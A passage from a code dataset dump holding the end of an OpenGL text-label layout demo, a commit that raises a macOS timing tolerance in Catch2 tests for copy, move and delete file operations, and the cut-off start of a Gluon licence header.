labels;\n}\n\n\ngloperate_text::GlyphSequence prepareHeadline(gloperate_text::FontFace * font, glm::uvec2 viewport, const std::string & name)\n{\n\n const std::u32string unicode_string {name.begin(), name.end()};\n const auto origin = glm::vec2{-0.9f, 0.75f};\n\n gloperate_text::GlyphSequence sequence;\n sequence.setString(unicode_string);\n sequence.setWordWrap(false);\n sequence.setLineWidth(800.f);\n sequence.setAlignment(gloperate_text::Alignment::LeftAligned);\n sequence.setLineAnchor(gloperate_text::LineAnchor::Descent);\n sequence.setFontSize(30.f);\n sequence.setFontFace(font);\n sequence.setFontColor(glm::vec4(0.4f, 0.4f, 1.0f, 1.f));\n\n \/\/ compute transform matrix\n glm::mat4 transform;\n transform = glm::translate(transform, glm::vec3(origin, 0.f));\n transform = glm::scale(transform, glm::vec3(1.f,\n static_cast<float>(viewport.x) \/ viewport.y, 1.f));\n transform = glm::scale(transform, glm::vec3(1 \/ 300.f));\n\n sequence.setAdditionalTransform(transform);\n\n return sequence;\n}\n\nstd::vector<gloperate_text::GlyphSequence> getSequences(const std::vector<gloperate_text::Label> & labels)\n{\n std::vector<gloperate_text::GlyphSequence> sequences;\n for (const auto & label : labels)\n {\n if (label.placement.display)\n {\n sequences.push_back(gloperate_text::applyPlacement(label));\n }\n }\n return sequences;\n}\n\nvoid preparePointDrawable(const std::vector<gloperate_text::Label> & labels, PointDrawable& pointDrawable)\n{\n std::vector<Point> points;\n for (const auto & label : labels)\n {\n points.push_back({\n label.pointLocation,\n label.placement.display ? glm::vec3(.7f, .0f, .0f) : glm::vec3(.5f, .5f, .5f),\n (label.placement.display ? 4.f : 2.f) * g_viewport.x \/ 640\n });\n }\n pointDrawable.initialize(points);\n}\n\nvoid prepareRectangleDrawable(const std::vector<gloperate_text::Label> & labels, RectangleDrawable& rectangleDrawable)\n{\n std::vector<glm::vec2> rectangles;\n for (const auto & label : labels)\n {\n auto sequence = gloperate_text::applyPlacement(label);\n auto extent = gloperate_text::Typesetter::rectangle(sequence, glm::vec3(label.pointLocation, 0.f));\n rectangles.push_back(extent.first);\n rectangles.push_back(extent.first + extent.second);\n }\n rectangleDrawable.initialize(rectangles);\n}\n\nvoid runAndBenchmark(std::vector<gloperate_text::Label> & labels, Algorithm algorithm)\n{\n auto start = std::chrono::steady_clock::now();\n algorithm.function(labels);\n auto end = std::chrono::steady_clock::now();\n std::chrono::duration<double> diff = end - start;\n auto positions = labelPositionDesirability(labels);\n std::cout << \"Evaluation results for \" << algorithm.name << \":\" << std::endl\n << \"Runtime: \" << diff.count() << \"s\" << std::endl\n << \"Labels hidden: \" << labelsHidden(labels) << \"\/\" << labels.size() << std::endl\n << \"Overlaps: \" << labelOverlaps(labels) << std::endl\n << \"Overlap area: \" << labelOverlapArea(labels) << std::endl\n << \"Padding Violations: \" << labelOverlaps(labels, {0.2f, 0.2f}) << std::endl\n << \"Padding Overlap: \" << labelOverlapArea(labels, {0.2f, 0.2f}) << std::endl\n << \"Relative label positions:\" << std::endl\n << \" Upper Right: \" << positions[gloperate_text::RelativeLabelPosition::UpperRight] << std::endl\n << \" Upper Left: \" << positions[gloperate_text::RelativeLabelPosition::UpperLeft] << std::endl\n << \" Lower Left: \" << positions[gloperate_text::RelativeLabelPosition::LowerLeft] << std::endl\n << \" Lower Right: \" << positions[gloperate_text::RelativeLabelPosition::LowerRight] << std::endl;\n std::cout << std::endl;\n}\n\n\nint main()\n{\n glfwInit();\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\n auto window = glfwCreateWindow(g_viewport.x, g_viewport.y, \"Text-Demo\", 0, nullptr);\n\n if (!window)\n {\n glfwTerminate();\n return -1;\n }\n\n glfwMakeContextCurrent(window);\n\n glInitialize();\n\n glfwSetWindowSizeCallback(window, onResize);\n glfwSetKeyCallback(window, onKeyPress);\n\n cpplocate::ModuleInfo moduleInfo = cpplocate::findModule(\"openll\");\n std::string dataPath = moduleInfo.value(\"dataPath\");\n\n gloperate_text::FontLoader loader;\n const auto font = loader.load(dataPath + \"\/fonts\/opensansr36\/opensansr36.fnt\");\n gloperate_text::GlyphRenderer renderer;\n gloperate_text::GlyphVertexCloud cloud;\n std::vector<gloperate_text::Label> labels;\n PointDrawable pointDrawable {dataPath};\n RectangleDrawable rectangleDrawable {dataPath};\n glClearColor(1.f, 1.f, 1.f, 1.f);\n\n\n while (!glfwWindowShouldClose(window))\n {\n if (g_config_changed)\n {\n glViewport(0, 0, g_viewport.x, g_viewport.y);\n labels = prepareLabels(font, g_viewport);\n runAndBenchmark(labels, layoutAlgorithms[g_algorithmID]);\n auto sequences = getSequences(labels);\n sequences.push_back(prepareHeadline(font, g_viewport, layoutAlgorithms[g_algorithmID].name));\n cloud = gloperate_text::prepareGlyphs(sequences, true);\n preparePointDrawable(labels, pointDrawable);\n prepareRectangleDrawable(labels, rectangleDrawable);\n }\n\n gl::glClear(gl::GL_COLOR_BUFFER_BIT | gl::GL_DEPTH_BUFFER_BIT);\n\n gl::glDepthMask(gl::GL_FALSE);\n gl::glEnable(gl::GL_CULL_FACE);\n gl::glEnable(gl::GL_BLEND);\n gl::glBlendFunc(gl::GL_SRC_ALPHA, gl::GL_ONE_MINUS_SRC_ALPHA);\n\n renderer.render(cloud);\n pointDrawable.render();\n if (g_frames_visible)\n rectangleDrawable.render();\n\n gl::glDepthMask(gl::GL_TRUE);\n gl::glDisable(gl::GL_CULL_FACE);\n gl::glDisable(gl::GL_BLEND);\n\n g_config_changed = false;\n\n glfwSwapBuffers(window);\n glfwPollEvents();\n }\n\n glfwTerminate();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"fileoperations\/coperationperformer.h\"\r\n#include \"cfolderenumeratorrecursive.h\"\r\n#include \"ctestfoldergenerator.h\"\r\n#include \"container\/set_operations.hpp\"\r\n#include \"system\/processfilepath.hpp\"\r\n#include \"system\/ctimeelapsed.h\"\r\n#include \"filecomparator\/cfilecomparator.h\"\r\n\r\n\/\/ test_utils\r\n#include \"foldercomparator.h\"\r\n#include \"qt_helpers.hpp\"\r\n#include \"catch2_utils.hpp\"\r\n\r\nDISABLE_COMPILER_WARNINGS\r\n#include <QDateTime>\r\n#include <QDir>\r\n#include <QStringBuilder>\r\n#include <QTemporaryDir>\r\nRESTORE_COMPILER_WARNINGS\r\n\r\n#include <algorithm>\r\n#include <iostream>\r\n#include <string>\r\n\r\n#define CATCH_CONFIG_RUNNER\r\n#include \"..\/catch2\/catch.hpp\"\r\n\r\nstatic uint32_t g_randomSeed = 0;\r\n\r\nstatic constexpr QFileDevice::FileTime supportedFileTimeTypes[] {\r\n\tQFileDevice::FileAccessTime,\r\n#ifndef __linux__\r\n\tQFileDevice::FileBirthTime,\r\n#endif\r\n#if !defined __linux__ && !defined _WIN32\r\n\tQFileDevice::FileMetadataChangeTime,\r\n#endif\r\n\tQFileDevice::FileModificationTime,\r\n};\r\n\r\nstatic bool timesAlmostMatch(const QDateTime& t1, const QDateTime& t2, const QFileDevice::FileTime type)\r\n{\r\n\tconst auto diff = ::abs(t1.toMSecsSinceEpoch() - t2.toMSecsSinceEpoch());\r\n\r\n\tint allowedTimeDiffMs = 0;\r\n\tswitch (type)\r\n\t{\r\n\t\/\/ These margins are generally too long, but necessary for CI systems (sloooow cloud virtualized hardware)\r\n\tcase QFileDevice::FileAccessTime:\r\n\t\tallowedTimeDiffMs = 3000;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileBirthTime:\r\n\t\tallowedTimeDiffMs = 100;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileMetadataChangeTime:\r\n\t\tallowedTimeDiffMs = 2500;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileModificationTime:\r\n\t\tallowedTimeDiffMs = 100;\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tassert_and_return_unconditional_r(\"Unknown QFileDevice::FileTime\", false);\r\n\t}\r\n\r\n#ifdef __APPLE__\r\n\tstatic constexpr int multiplier = 10;\r\n#else\r\n\tstatic constexpr int multiplier = 1;\r\n#endif\r\n\r\n\tif (diff <= allowedTimeDiffMs * multiplier)\r\n\t\treturn true;\r\n\telse\r\n\t{\r\n\t\tstd::cerr << \"Time mismatch for type \" << type << \": diff = \" << diff << \", allowed = \" << allowedTimeDiffMs * multiplier << '\\n';\r\n\t\treturn false;\r\n\t}\r\n}\r\n\r\n\r\nstruct ProgressObserver final : public CFileOperationObserver {\r\n\tinline void onProgressChanged(float totalPercentage, size_t \/*numFilesProcessed*\/, size_t \/*totalNumFiles*\/, float filePercentage, uint64_t \/*speed*\/ \/* B\/s*\/, uint32_t \/*secondsRemaining*\/) override {\r\n\t\tCHECK(totalPercentage <= 100.0f);\r\n\t\tCHECK(filePercentage <= 100.0f);\r\n\t}\r\n\tinline void onProcessHalted(HaltReason \/*reason*\/, CFileSystemObject \/*source*\/, CFileSystemObject \/*dest*\/, QString \/*errorMessage*\/) override { \/\/ User decision required (file exists, file is read-only etc.)\r\n\t\tFAIL(\"onProcessHalted called\");\r\n\t}\r\n\tinline void onProcessFinished(QString \/*message*\/ = QString()) override {} \/\/ Done or canceled\r\n\tinline void onCurrentFileChanged(QString \/*file*\/) override {} \/\/ Starting to process a new file\r\n};\r\n\r\nTEST_CASE((std::string(\"Copy test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-copy]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tQTemporaryDir targetDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_TARGET_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\tREQUIRE(targetDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\tTRACE_LOG << \"Target: \" << targetDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tREQUIRE(QFileInfo::exists(targetDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(targetDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\r\n\tCOperationPerformer p(operationCopy, CFileSystemObject(sourceDirectory.path()), targetDirectory.path());\r\n\tCTimeElapsed timer(true);\r\n\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tstd::vector<CFileSystemObject> sourceTree, destTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(sourceDirectory.path(), sourceTree);\r\n\tCFolderEnumeratorRecursive::enumerateFolder(targetDirectory.path() % '\/' % QFileInfo(sourceDirectory.path()).completeBaseName(), destTree);\r\n\r\n\tCFileComparator comparator;\r\n\tREQUIRE(sourceTree.size() == destTree.size());\r\n\r\n\tfor (size_t i = 0, n = sourceTree.size(); i < n; ++i)\r\n\t{\r\n\t\tconst auto& sourceItem = sourceTree[i];\r\n\t\tconst auto& destItem = destTree[i];\r\n\t\tif (!sourceItem.isFile())\r\n\t\t\tcontinue;\r\n\r\n\t\tQFile fileA(sourceItem.fullAbsolutePath());\r\n\t\tREQUIRE(fileA.open(QFile::ReadOnly));\r\n\r\n\t\tQFile fileB(destItem.fullAbsolutePath());\r\n\t\tREQUIRE(fileB.open(QFile::ReadOnly));\r\n\r\n\t\tcomparator.compareFiles(fileA, fileB, [](int) {}, [](const CFileComparator::ComparisonResult result) {\r\n\t\t\tCHECK(result == CFileComparator::Equal);\r\n\t\t});\r\n\r\n\t\tfor (const auto fileTimeType: supportedFileTimeTypes)\r\n\t\t{\r\n\t\t\tif (!timesAlmostMatch(fileA.fileTime(fileTimeType), fileB.fileTime(fileTimeType), fileTimeType))\r\n\t\t\t\tFAIL_CHECK();\r\n\t\t}\r\n\t}\r\n\r\n\tREQUIRE(compareFolderContents(sourceTree, destTree));\r\n}\r\n\r\nTEST_CASE((std::string(\"Move test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-move]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tQTemporaryDir targetDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_TARGET_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\tREQUIRE(targetDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\tTRACE_LOG << \"Target: \" << targetDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tREQUIRE(QFileInfo::exists(targetDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(targetDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\r\n\tstd::vector<CFileSystemObject> sourceTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(sourceDirectory.path(), sourceTree);\r\n\r\n\tCOperationPerformer p(operationMove, CFileSystemObject(sourceDirectory.path()), targetDirectory.path());\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\r\n\tCTimeElapsed timer(true);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tREQUIRE(!CFileSystemObject(sourceDirectory.path()).exists());\r\n\r\n\tstd::vector<CFileSystemObject> destTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(targetDirectory.path() % '\/' % QFileInfo(sourceDirectory.path()).completeBaseName(), destTree);\r\n\r\n\tREQUIRE(compareFolderContents(sourceTree, destTree));\r\n}\r\n\r\nTEST_CASE((std::string(\"Delete test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-delete]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\tREQUIRE(!QDir(sourceDirectory.path()).entryList(QDir::NoDotAndDotDot | QDir::AllEntries).empty());\r\n\r\n\tCOperationPerformer p(operationDelete, CFileSystemObject(sourceDirectory.path()));\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\r\n\tCTimeElapsed timer(true);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tREQUIRE(!CFileSystemObject(sourceDirectory.path()).exists());\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tCatch::Session session; \/\/ There must be exactly one instance\r\n\r\n\t\/\/ Build a new parser on top of Catch's\r\n\tusing namespace Catch::clara;\r\n\tauto cli\r\n\t\t= session.cli() \/\/ Get Catch's composite command line parser\r\n\t\t| Opt(g_randomSeed, \"std::random seed\") \/\/ bind variable to a new option, with a hint string\r\n\t\t[\"--std-seed\"] \/\/ the option names it will respond to\r\n\t\t(\"std::random seed\"); \/\/ description string for the help output\r\n\r\n\t\/\/ Now pass the new composite back to Catch so it uses that\r\n\tsession.cli(cli);\r\n\r\n\t\/\/ Let Catch (using Clara) parse the command line\r\n\tconst int returnCode = session.applyCommandLine(argc, argv);\r\n\tif (returnCode != 0) \/\/ Indicates a command line error\r\n\t\treturn returnCode;\r\n\r\n\treturn session.run();\r\n}\r\n<commit_msg>Failing tests on Mac in Github workflow fixed<commit_after>#include \"fileoperations\/coperationperformer.h\"\r\n#include \"cfolderenumeratorrecursive.h\"\r\n#include \"ctestfoldergenerator.h\"\r\n#include \"container\/set_operations.hpp\"\r\n#include \"system\/processfilepath.hpp\"\r\n#include \"system\/ctimeelapsed.h\"\r\n#include \"filecomparator\/cfilecomparator.h\"\r\n\r\n\/\/ test_utils\r\n#include \"foldercomparator.h\"\r\n#include \"qt_helpers.hpp\"\r\n#include \"catch2_utils.hpp\"\r\n\r\nDISABLE_COMPILER_WARNINGS\r\n#include <QDateTime>\r\n#include <QDir>\r\n#include <QStringBuilder>\r\n#include <QTemporaryDir>\r\nRESTORE_COMPILER_WARNINGS\r\n\r\n#include <algorithm>\r\n#include <iostream>\r\n#include <string>\r\n\r\n#define CATCH_CONFIG_RUNNER\r\n#include \"..\/catch2\/catch.hpp\"\r\n\r\nstatic uint32_t g_randomSeed = 0;\r\n\r\nstatic constexpr QFileDevice::FileTime supportedFileTimeTypes[] {\r\n\tQFileDevice::FileAccessTime,\r\n#ifndef __linux__\r\n\tQFileDevice::FileBirthTime,\r\n#endif\r\n#if !defined __linux__ && !defined _WIN32\r\n\tQFileDevice::FileMetadataChangeTime,\r\n#endif\r\n\tQFileDevice::FileModificationTime,\r\n};\r\n\r\nstatic bool timesAlmostMatch(const QDateTime& t1, const QDateTime& t2, const QFileDevice::FileTime type)\r\n{\r\n\tconst auto diff = ::abs(t1.toMSecsSinceEpoch() - t2.toMSecsSinceEpoch());\r\n\r\n\tint allowedTimeDiffMs = 0;\r\n\tswitch (type)\r\n\t{\r\n\t\/\/ These margins are generally too long, but necessary for CI systems (sloooow cloud virtualized hardware)\r\n\tcase QFileDevice::FileAccessTime:\r\n\t\tallowedTimeDiffMs = 3000;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileBirthTime:\r\n\t\tallowedTimeDiffMs = 100;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileMetadataChangeTime:\r\n\t\tallowedTimeDiffMs = 2500;\r\n\t\tbreak;\r\n\tcase QFileDevice::FileModificationTime:\r\n\t\tallowedTimeDiffMs = 100;\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tassert_and_return_unconditional_r(\"Unknown QFileDevice::FileTime\", false);\r\n\t}\r\n\r\n#ifdef __APPLE__\r\n\tstatic constexpr int multiplier = 20;\r\n#else\r\n\tstatic constexpr int multiplier = 1;\r\n#endif\r\n\r\n\tif (diff <= allowedTimeDiffMs * multiplier)\r\n\t\treturn true;\r\n\telse\r\n\t{\r\n\t\tstd::cerr << \"Time mismatch for type \" << type << \": diff = \" << diff << \", allowed = \" << allowedTimeDiffMs * multiplier << '\\n';\r\n\t\treturn false;\r\n\t}\r\n}\r\n\r\n\r\nstruct ProgressObserver final : public CFileOperationObserver {\r\n\tinline void onProgressChanged(float totalPercentage, size_t \/*numFilesProcessed*\/, size_t \/*totalNumFiles*\/, float filePercentage, uint64_t \/*speed*\/ \/* B\/s*\/, uint32_t \/*secondsRemaining*\/) override {\r\n\t\tCHECK(totalPercentage <= 100.0f);\r\n\t\tCHECK(filePercentage <= 100.0f);\r\n\t}\r\n\tinline void onProcessHalted(HaltReason \/*reason*\/, CFileSystemObject \/*source*\/, CFileSystemObject \/*dest*\/, QString \/*errorMessage*\/) override { \/\/ User decision required (file exists, file is read-only etc.)\r\n\t\tFAIL(\"onProcessHalted called\");\r\n\t}\r\n\tinline void onProcessFinished(QString \/*message*\/ = QString()) override {} \/\/ Done or canceled\r\n\tinline void onCurrentFileChanged(QString \/*file*\/) override {} \/\/ Starting to process a new file\r\n};\r\n\r\nTEST_CASE((std::string(\"Copy test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-copy]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tQTemporaryDir targetDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_TARGET_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\tREQUIRE(targetDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\tTRACE_LOG << \"Target: \" << targetDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tREQUIRE(QFileInfo::exists(targetDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(targetDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\r\n\tCOperationPerformer p(operationCopy, CFileSystemObject(sourceDirectory.path()), targetDirectory.path());\r\n\tCTimeElapsed timer(true);\r\n\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tstd::vector<CFileSystemObject> sourceTree, destTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(sourceDirectory.path(), sourceTree);\r\n\tCFolderEnumeratorRecursive::enumerateFolder(targetDirectory.path() % '\/' % QFileInfo(sourceDirectory.path()).completeBaseName(), destTree);\r\n\r\n\tCFileComparator comparator;\r\n\tREQUIRE(sourceTree.size() == destTree.size());\r\n\r\n\tfor (size_t i = 0, n = sourceTree.size(); i < n; ++i)\r\n\t{\r\n\t\tconst auto& sourceItem = sourceTree[i];\r\n\t\tconst auto& destItem = destTree[i];\r\n\t\tif (!sourceItem.isFile())\r\n\t\t\tcontinue;\r\n\r\n\t\tQFile fileA(sourceItem.fullAbsolutePath());\r\n\t\tREQUIRE(fileA.open(QFile::ReadOnly));\r\n\r\n\t\tQFile fileB(destItem.fullAbsolutePath());\r\n\t\tREQUIRE(fileB.open(QFile::ReadOnly));\r\n\r\n\t\tcomparator.compareFiles(fileA, fileB, [](int) {}, [](const CFileComparator::ComparisonResult result) {\r\n\t\t\tCHECK(result == CFileComparator::Equal);\r\n\t\t});\r\n\r\n\t\tfor (const auto fileTimeType: supportedFileTimeTypes)\r\n\t\t{\r\n\t\t\tif (!timesAlmostMatch(fileA.fileTime(fileTimeType), fileB.fileTime(fileTimeType), fileTimeType))\r\n\t\t\t\tFAIL_CHECK();\r\n\t\t}\r\n\t}\r\n\r\n\tREQUIRE(compareFolderContents(sourceTree, destTree));\r\n}\r\n\r\nTEST_CASE((std::string(\"Move test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-move]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tQTemporaryDir targetDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_TARGET_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\tREQUIRE(targetDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\tTRACE_LOG << \"Target: \" << targetDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tREQUIRE(QFileInfo::exists(targetDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(targetDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\r\n\tstd::vector<CFileSystemObject> sourceTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(sourceDirectory.path(), sourceTree);\r\n\r\n\tCOperationPerformer p(operationMove, CFileSystemObject(sourceDirectory.path()), targetDirectory.path());\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\r\n\tCTimeElapsed timer(true);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tREQUIRE(!CFileSystemObject(sourceDirectory.path()).exists());\r\n\r\n\tstd::vector<CFileSystemObject> destTree;\r\n\tCFolderEnumeratorRecursive::enumerateFolder(targetDirectory.path() % '\/' % QFileInfo(sourceDirectory.path()).completeBaseName(), destTree);\r\n\r\n\tREQUIRE(compareFolderContents(sourceTree, destTree));\r\n}\r\n\r\nTEST_CASE((std::string(\"Delete test #\") + std::to_string((srand(time(nullptr)), rand()))).c_str(), \"[operationperformer-delete]\")\r\n{\r\n\tQTemporaryDir sourceDirectory(QDir::tempPath() + \"\/\" + CURRENT_TEST_NAME.c_str() + \"_SOURCE_XXXXXX\");\r\n\tREQUIRE(sourceDirectory.isValid());\r\n\r\n\tTRACE_LOG << \"Source: \" << sourceDirectory.path();\r\n\r\n\tREQUIRE(QFileInfo::exists(sourceDirectory.path()));\r\n\tREQUIRE(CFileSystemObject(sourceDirectory.path()).isEmptyDir());\r\n\r\n\tCTestFolderGenerator generator;\r\n\tgenerator.setSeed(g_randomSeed);\r\n\tTRACE_LOG << \"std::random seed: \" << g_randomSeed;\r\n\tREQUIRE(generator.generateRandomTree(sourceDirectory.path(), 1000, 200));\r\n\tREQUIRE(!QDir(sourceDirectory.path()).entryList(QDir::NoDotAndDotDot | QDir::AllEntries).empty());\r\n\r\n\tCOperationPerformer p(operationDelete, CFileSystemObject(sourceDirectory.path()));\r\n\tProgressObserver progressObserver;\r\n\tp.setObserver(&progressObserver);\r\n\r\n\tCTimeElapsed timer(true);\r\n\tp.start();\r\n\twhile (!p.done())\r\n\t{\r\n\t\tprogressObserver.processEvents();\r\n#ifndef _DEBUG\r\n\t\t\/\/ Reasonable timeout\r\n\t\tif (timer.elapsed<std::chrono::seconds>() > 2 * 60)\r\n\t\t{\r\n\t\t\tFAIL(\"File operation timeout reached.\");\r\n\t\t\treturn;\r\n\t\t}\r\n#endif\r\n\t}\r\n\r\n\tREQUIRE(!CFileSystemObject(sourceDirectory.path()).exists());\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tCatch::Session session; \/\/ There must be exactly one instance\r\n\r\n\t\/\/ Build a new parser on top of Catch's\r\n\tusing namespace Catch::clara;\r\n\tauto cli\r\n\t\t= session.cli() \/\/ Get Catch's composite command line parser\r\n\t\t| Opt(g_randomSeed, \"std::random seed\") \/\/ bind variable to a new option, with a hint string\r\n\t\t[\"--std-seed\"] \/\/ the option names it will respond to\r\n\t\t(\"std::random seed\"); \/\/ description string for the help output\r\n\r\n\t\/\/ Now pass the new composite back to Catch so it uses that\r\n\tsession.cli(cli);\r\n\r\n\t\/\/ Let Catch (using Clara) parse the command line\r\n\tconst int returnCode = session.applyCommandLine(argc, argv);\r\n\tif (returnCode != 0) \/\/ Indicates a command line error\r\n\t\treturn returnCode;\r\n\r\n\treturn session.run();\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty 